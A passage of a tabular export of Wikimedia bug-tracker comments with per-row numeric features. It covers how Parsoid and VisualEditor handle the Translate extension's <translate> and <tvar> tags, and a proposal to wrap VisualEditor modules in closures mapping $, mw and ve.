However, making a Translation extension editor in VE shouldn't be hard at all - I've created that as bug 53974 along the lines of other bugs.",,,1378773198,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,10,,2.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,1.0,0.0,6.0,13.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,13.0,0.0,2.0,6.0,0.0,0.0,0.0,1.0,7.0,1.0,2.0,0.0,6.0,13.0,5.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,3.411764705882353,0.7647058823529411,"(In reply to comment #14)
QUOTE
QUOTE

Yes. On MW.org you can use the alien node editor to edit any extension node's contents (but they won't be rich), but on other wikis it will make them un-editable in VE.

However, making a Translation extension editor in VE shouldn't be hard at all - I've created that as bug 53974 along the lines of other bugs."
226028,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"In the long term yes, but wont this render VE useless on translatable pages in the short them?",,,1378772376,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,14.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.9523809523809523,"In the long term yes, but wont this render VE useless on translatable pages in the short them?"
226022,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Niklas: If VE has to support editing for <translate>, <tvar>, etc. tags, Parsoid has to know about those tags. Parsoid finds out about installed tags by querying mediawiki API. So, either MW API should expose this information for hooks automatically or we need a different API endpoint, or you have to register them.",,,1378754413,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,15.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,15.0,1.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,15.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,7.0,3.9402985074626864,0.7014925373134329,"Niklas: If VE has to support editing for <translate>, <tvar>, etc. tags, Parsoid has to know about those tags. Parsoid finds out about installed tags by querying mediawiki API. So, either MW API should expose this information for hooks automatically or we need a different API endpoint, or you have to register them."
226016,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,See the above commit. It is not thoroughly tested. I still don't understand what would the benefit.,,,1378751046,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,5.0,5.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,10.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,10.0,5.0,14.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9523809523809526,0.8571428571428571,See the above commit. It is not thoroughly tested. I still don't understand what would the benefit.
226008,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Change 83427 had a related patch set uploaded by Nikerabbit:
Register translate and tvar to the parser

https://gerrit.wikimedia.org/r/83427",,,1378750854,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,19.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.714285714285714,1.0,"Change 83427 had a related patch set uploaded by Nikerabbit:
Register translate and tvar to the parser

GERRIT_URL"
225999,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,Ping.,,,1377214396,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,Ping.
225992,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,Does someone want to try registering them and see what happens? I probably don't have time before Wikimania.,,,1375385299,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,4,,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,10.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,10.0,10.0,5.0,5.0,0.0,0.0,10.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,4.333333333333333,1.0,Does someone want to try registering them and see what happens? I probably don't have time before Wikimania.
225986,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"I don't know. Either the registration would just be symbolic without any side effects, or it could also interfere with the current functionality.",,,1375380363,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,4,,4.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,7.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.555555555555555,0.9259259259259259,"I don't know. Either the registration would just be symbolic without any side effects, or it could also interfere with the current functionality."
225980,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,@Niklas are there issues with registering them?,,,1375380132,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,5.625,1.0,SCREEN_NAME are there issues with registering them?
225975,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,*** Bug 52408 has been marked as a duplicate of this bug. ***,,,1375378489,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52408 has been marked as a duplicate of this bug. ***
225969,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Parsoid needs to know if something is a valid extension tag so that it can process them rather than escape them to literal text.  This will also let VE support them in the future and protect them from being modified right now.

Is there any other way to discover that <translate>, <tvar>, <language> are valid tags on the wiki, i.e. what is the mediawiki api endpoint?  So far we've been using siprop and fetching installed extension tags and use that to detect these.",,,1375378361,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,4,,1.0,1.0,0.0,1.0,0.0,4.0,3.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,1.0,1.0,0.0,6.0,12.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,7.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,13.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,5.0,4.0,3.0,8.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,12.0,2.0,1.0,0.0,0.0,6.0,0.0,1.0,1.0,4.0,2.0,0.0,0.0,5.0,3.87,0.75,"Parsoid needs to know if something is a valid extension tag so that it can process them rather than escape them to literal text.  This will also let VE support them in the future and protect them from being modified right now.

Is there any other way to discover that <translate>, <tvar>, <language> are valid tags on the wiki, i.e. what is the mediawiki api endpoint?  So far we've been using siprop and fetching installed extension tags and use that to detect these."
225965,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,<translate> and <tvar> are not a normal extension tags. Please explain why I should register them.,,,1369809699,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,1,True,,,-5,,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,9.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,14.0,3.772727272727273,0.8636363636363636,<translate> and <tvar> are not a normal extension tags. Please explain why I should register them.
225960,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"(In reply to comment #2)
> Parsoid does fetch a list of registered extensions from the config and uses
> that to wrap the block with mw:Object/Extension/<ext-name-here> type. All
> other unknown tags are pass through as plain text.

Ah, my apologies; I thought you were doing this, but it didn't even occur to me that the Translate extension might fail to do this. Re-filing.",,,1369765885,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,1,True,,,-5,,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,6.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,16.0,2.0,2.0,6.0,0.0,0.0,0.0,2.0,8.0,2.0,2.0,0.0,10.0,12.0,4.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.204081632653061,0.8163265306122449,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE

Ah, my apologies; I thought you were doing this, but it didn't even occur to me that the Translate extension might fail to do this. Re-filing."
225956,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Parsoid does fetch a list of registered extensions from the config and uses that to wrap the block with mw:Object/Extension/<ext-name-here> type. All other unknown tags are pass through as plain text.

The problem is that mediawiki does not report <translate> as an installed extension.  Check http://www.mediawiki.org/w/api.php?action=query&meta=siteinfo&format=jsonfm&siprop=extensiontags

Any idea why mw.org is not reporting <translate> as a registered extension?",,,1369761569,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,1,True,,,-5,,3.0,0.0,0.0,0.0,3.0,4.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,8.0,4.0,10.0,3.0,1.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,12.0,5.0,1.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,5.0,4.089743589743589,0.7692307692307693,"Parsoid does fetch a list of registered extensions from the config and uses that to wrap the block with mw:Object/Extension/<ext-name-here> type. All other unknown tags are pass through as plain text.

The problem is that mediawiki does not report <translate> as an installed extension.  Check URL

Any idea why mw.org is not reporting <translate> as a registered extension?"
225949,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Yes, the Translate extension needs to be extended to support VisualEditor editing, but the core issue is that Parsoid doesn't recognise <translate> as an extension block; should it take the local list of registered extensions, and for ones it hasn't been told how to deal with just wrap it as a typeof=""mw:Object/Unknown"" or something similar?",,,1369745248,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,1,True,,,-5,,0.0,1.0,0.0,3.0,3.0,4.0,1.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,13.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,9.0,3.0,4.0,7.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,4.0,13.0,4.0,1.0,1.0,0.0,4.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,4.188405797101449,0.8405797101449275,"Yes, the Translate extension needs to be extended to support VisualEditor editing, but the core issue is that Parsoid doesn't recognise <translate> as an extension block; should it take the local list of registered extensions, and for ones it hasn't been told how to deal with just wrap it as a typeof=""mw:Object/Unknown"" or something similar?"
50885,Load visualeditor modules in a closure mapping $/mw/ve to their globals,"This may introduce a really large number of scopes and have undesirable performance effects, but we need to come up with a solution nonetheless.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1369733100,1551737186.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-4vzkkpi6vnpbfv2eknxj,task_description,declined,True,c1,1,False,False,False,-5,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.5,0.7727272727272727,"This may introduce a really large number of scopes and have undesirable performance effects, but we need to come up with a solution nonetheless.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
1236806,Load visualeditor modules in a closure mapping $/mw/ve to their globals,"In MediaWiki, we moved away from the closures (IIFEs), see {add9bd191fd4d16250b301208600854cb52f6b33} and {91f950d6b0677166134bc58eb487943a63f97b00}. So I believe this is no longer desirable.",,,1551737186,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-4vzkkpi6vnpbfv2eknxj,task_subcomment,,True,c1,3,True,,,296,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,10.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,16.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.516129032258065,0.8709677419354839,"In MediaWiki, we moved away from the closures (IIFEs), see {add9bd191fd4d16250b301208600854cb52f6b33} and {91f950d6b0677166134bc58eb487943a63f97b00}. So I believe this is no longer desirable."
225630,Load visualeditor modules in a closure mapping $/mw/ve to their globals,"Rephrasing bug.

Problems:


* We're repeatedly referencing $/mw from global scope instead of securing the reference. This is worse for performance and for proper functioning (e.g. jQuery might be redefined at a later time causing version mismatches, this is why ResourceLoader maps $) 

* We're using $ and mw directly instead of mapping jQuery and mediaWiki.

* In standalone, our code executes in the global scope. This is bad.

Solution:

* For standalone, build the dist/ files with a closure mapping, securing and caching '$' from 'jQuery'. And for VE modules other than ve.base, it would also map 've' to 'VisualEditor' (bug 67642)

* In MediaWiki, ResourceLoader already provides a closure which we'd extend to also map 've' to 'VisualEditor'.",,,1404778634,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4vzkkpi6vnpbfv2eknxj,task_subcomment,,True,c1,3,True,,,53,,0.0,0.0,0.0,0.5,0.0,4.0,1.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,2.0,1.0,5.0,9.5,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.0,0.5,5.5,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,11.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,0.5,0.0,0.0,3.5,2.0,9.5,0.5,2.5,5.5,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,2.5,9.5,5.0,0.0,7.5,0.0,2.5,0.0,1.0,1.5,0.0,3.5,0.5,0.0,1.0,3.9382716049382713,0.6975308641975309,"Rephrasing bug.

Problems:


* We're repeatedly referencing $/mw from global scope instead of securing the reference. This is worse for performance and for proper functioning (e.g. jQuery might be redefined at a later time causing version mismatches, this is why ResourceLoader maps $) 

* We're using $ and mw directly instead of mapping jQuery and mediaWiki.

* In standalone, our code executes in the global scope. This is bad.

Solution:

* For standalone, build the dist/ files with a closure mapping, securing and caching '$' from 'jQuery'. And for VE modules other than ve.base, it would also map 've' to 'VisualEditor' (bug 67642)

* In MediaWiki, ResourceLoader already provides a closure which we'd extend to also map 've' to 'VisualEditor'."
225625,Load visualeditor modules in a closure mapping $/mw/ve to their globals,"I suggest for standalone we introduce an module-intro/outro that is used to wrap around individual modules (not per file).

So e.g. dist/ve.core.js would be:

-- intro
( function ( ve, $ ) {
 -- include ve.js
 -- include ve.A.js
 -- include ve.B.js
 -- include ve.C.js
-- outro
}( VisualEditor, jQuery ) );

And in MediaWiki the same would effectively happen but on-demand by ResourceLoader (since we don't want to use a build system for MW, but instead work on the raw source files directly and have them build dynamically).

See bug 48886 for details, but the end result would be:

-- startup:
register(
 ..,
 [ 'ext.visualEditor', 1234, ...., ['VisualEditor']
);

-- mw.loader:
 script( $, global[propKeys..].. );

-- load.php response when loading visualeditor:
mw.loader.implement( 'ext.visualEditor.core', function ( $, ve ) {
 -- include ve.js
 -- include ve.A.js
 -- include ve.B.js
 -- include ve.C.js
} );",,,1404777075,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4vzkkpi6vnpbfv2eknxj,task_subcomment,,True,c1,3,True,,,53,,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,1.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,3.3333333333333335,4.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.0,0.0,5.333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,11.333333333333334,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.6666666666666667,1.0,3.0,0.6666666666666666,1.6666666666666667,1.6666666666666667,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,1.6666666666666667,0.0,1.3333333333333333,4.0,4.333333333333333,0.0,2.6666666666666665,0.0,1.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,1.0,3.6392694063926943,0.6575342465753425,"I suggest for standalone we introduce an module-intro/outro that is used to wrap around individual modules (not per file).

So e.g. dist/ve.core.js would be:

-- intro
( function ( ve, $ ) {
 -- include ve.js
 -- include ve.A.js
 -- include ve.B.js
 -- include ve.C.js
-- outro
}( VisualEditor, jQuery ) );

And in MediaWiki the same would effectively happen but on-demand by ResourceLoader (since we don't want to use a build system for MW, but instead work on the raw source files directly and have them build dynamically).

See bug 48886 for details, but the end result would be:

-- startup:
register(
 ..,
 [ 'ext.visualEditor', 1234, ...., ['VisualEditor']
);

-- mw.loader:
 script( $, global[propKeys..].. );

-- load.php response when loading visualeditor:
mw.loader.implement( 'ext.visualEditor.core', function ( $, ve ) {
 -- include ve.js
 -- include ve.A.js
 -- include ve.B.js
 -- include ve.C.js
} );"
225620,Load visualeditor modules in a closure mapping $/mw/ve to their globals,"For the record, inside ResourceLoader context $ is a local variable provided by the ResourceLoader built-in closure.

See also bug 48886.",,,1369734288,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4vzkkpi6vnpbfv2eknxj,task_subcomment,,True,c1,1,True,,,-5,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,15.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,15.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.37037037037037,0.8888888888888888,"For the record, inside ResourceLoader context $ is a local variable provided by the ResourceLoader built-in closure.

See also bug 48886."
50844,VisualEditor: Multiple empty lines turn into uneditable elements due to mwPlaceholder,"If wikitext contains several empty lines in a row, hovering over those lines in the VisualEditor will present them as uneditable elements. Since the VisualEditor is perfectly able to create and remove empty lines, this seems unnecessary.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1369598340,1372007435.0,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,,False,PHID-TASK-cxhnj4waa436ovh4o7lz,task_description,resolved,True,c1,1,False,False,True,-6,,2.0,0.0,2.0,0.0,0.0,14.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,10.0,3.0,2.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,12.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,4.627118644067797,0.711864406779661,"If wikitext contains several empty lines in a row, hovering over those lines in the VisualEditor will present them as uneditable elements. Since the VisualEditor is perfectly able to create and remove empty lines, this seems unnecessary.

--------------------------
**Version**: unspecified
**Severity**: normal"
